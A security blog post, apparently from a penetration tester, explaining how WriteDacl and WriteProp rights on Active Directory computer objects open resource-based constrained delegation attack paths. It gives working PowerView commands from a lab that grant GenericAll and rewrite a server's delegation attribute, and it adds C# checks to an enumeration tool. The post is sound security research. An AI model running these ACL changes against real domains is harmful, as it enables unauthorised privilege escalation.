In my previous post on resource-based constrained delegation (RBCD), I created a tool called Get-RBCD-Threaded to enumerate AD environments for possible RBCD attack paths. Get-RBCD-Threaded worked by finding AD users, groups, and computer objects that had either GenericAll, GenericWrite, or WriteOwner privileges on another computer object. These permissions would allows you to modify the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity
attribute on a computer object and perform the attack.
After looking through a list of AD permissions on selfadsi.org, I thought there may be some other permissions that could allow you to modify the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity
attribute, specifically WriteDacl and WriteProp.
WriteDacl
WriteDacl allows you to change permissions on an object. If you have WriteDacl permissions, you could then try and add more permissions to yourself on the object. When looking in the AD GUI, the WriteDacl permission is the “Modify Permissions” option.
In my lab environment, I configure the regularuser
account to have WriteDacl permissions on the SRV01
computer object. When you query AD for regularuser
‘s permissions on SRV01
, it looks like this:
Get-Acl -Path "AD:CN=SRV01,OU=servers,OU=ad-lab,DC=murph,DC=coop" | select -exp access | ?{$_.IdentityReference -eq "murph\regularuser"}

You can also query for this using PowerView by filtering on the user’s SID:
get-domainuser regularuser -properties objectsid | select -exp objectsid
S-1-5-21-2483134007-2970497793-4088417448-1112
get-domainobjectacl srv01.murph.coop | ?{$_.SecurityIdentifier -eq 'S-1-5-21-2483134007-2970497793-4088417448-1112'}
Adding GenericAll privileges for regularuser
on SRV01
is pretty straightforward using PowerView’s Add-DomainObjectAcl
function.
Add-DomainObjectAcl -TargetIdentity srv01 -PrincipalIdentity regularuser -Rights All -Verbose
You then just need to query AD again to see that the permission was changed to GenericAll.
get-domainobjectacl srv02.murph.coop -ResolveGUIDs | ?{$_.SecurityIdentifier -eq 'S-1-5-21-2483134007-2970497793-4088417448-1129'}

With the permission changed to GenericAll, you can then carry out the RBCD attack as usual.
WriteProp
The WriteProp permission can allow you to modify a specific attribute on an AD object. When you query AD ACLs and you get back a WriteProp permission, you will see within that permission:
the ACE property ObjectType must be set to the GUID of the appropriate attribute
In other words, the permission will provide a GUID of the attribute you can modify. GUIDs are unique identifiers of objects. In AD, some attributes will have pre-defined GUIDs. To perform the RBCD attack, you need to be able to modify the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity
attribute. According to Microsoft documentation, the GUID for that attribute is 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79
.
To test this in my lab, I created a WritePropUser2
user that had WriteProp permissions on SRV02
, specifically to the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity
attribute. I also created several other WriteProp permissions for other users on different attributes to make sure my queries wouldn’t pull back any false positives.
Using PowerView, I was able to query the permissions on SRV02
and see that WritePropUser2
could modify the RBCD attribute.
get-domainobjectacl srv02.murph.coop -ResolveGUIDs | ?{$_.SecurityIdentifier -eq 'S-1-5-21-2483134007-2970497793-4088417448-1129'}

To emulate an RBCD attack, I used PowerView to add a computer object, wkst01
, to SRV02
‘s ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity
attribute.
$ComputerSid = Get-DomainComputer wkst01 -Properties objectsid | Select -Expand objectsid; $SD = New-Object Security.AccessControl.RawSecurityDescriptor
-ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainCompute
r srv02.murph.coop | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

I was able to confirm that the change to the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity
attribute took place, and that it was changed to wkst01
by querying the SRV02
from my domain controller.

Updating Get-RBCD-Threaded
Having confirmed that WriteDacl and WriteProp can be used to perform an RBCD attack, I wanted to update Get-RBCD-Threaded to perform checks for those permissions. Below is the old code that looked for the permissions.
if (adRule.ActiveDirectoryRights == ActiveDirectoryRights.GenericAll)
{
if (allSids.Contains(sid) && sid != computerSid)
{
var objectSid = sidMapList.FirstOrDefault(o => o.ObjectSID == sid);
rbcdList.Add(new rbcd(objectSid.SamAccountName,objectSid.DomainName, hostname, "GenericAll"));
}
}
else if (adRule.ActiveDirectoryRights.ToString().Contains("GenericWrite"))
{
if (allSids.Contains(sid) && sid != computerSid)
{
var objectSid = sidMapList.FirstOrDefault(o => o.ObjectSID == sid);
rbcdList.Add(new rbcd(objectSid.SamAccountName, objectSid.DomainName, hostname, "GenericWrite"));
}
}
else if (adRule.ActiveDirectoryRights.ToString().Contains("WriteOwner"))
{
if (allSids.Contains(sid) && sid != computerSid)
{
var objectSid = sidMapList.FirstOrDefault(o => o.ObjectSID == sid);
rbcdList.Add(new rbcd(objectSid.SamAccountName, objectSid.DomainName, hostname, "WriteOwner"));
}
}
I then updated that to include the following:
else if (adRule.ActiveDirectoryRights.ToString().Contains("WriteDacl"))
{
if (allSids.Contains(sid) && sid != computerSid)
{
var objectSid = sidMapList.FirstOrDefault(o => o.ObjectSID == sid);
rbcdList.Add(new rbcd(objectSid.SamAccountName, objectSid.DomainName, hostname, "WriteDacl"));
}
}
else if (adRule.ActiveDirectoryRights.ToString().Contains("WriteProp"))
{
if (adRule.ObjectType.ToString().Contains("3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"))
{
if (allSids.Contains(sid) && sid != computerSid)
{
var objectSid = sidMapList.FirstOrDefault(o => o.ObjectSID == sid);
rbcdList.Add(new rbcd(objectSid.SamAccountName, objectSid.DomainName, hostname, "WriteProp"));
}
}
}
Get-RBCD-Threaded should now include results for WriteDacl permissions, as well as for WriteProp permissions if the GUID of the attribute / ObjectType is 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79
.
I ran it in my lab environment and confirmed the results:
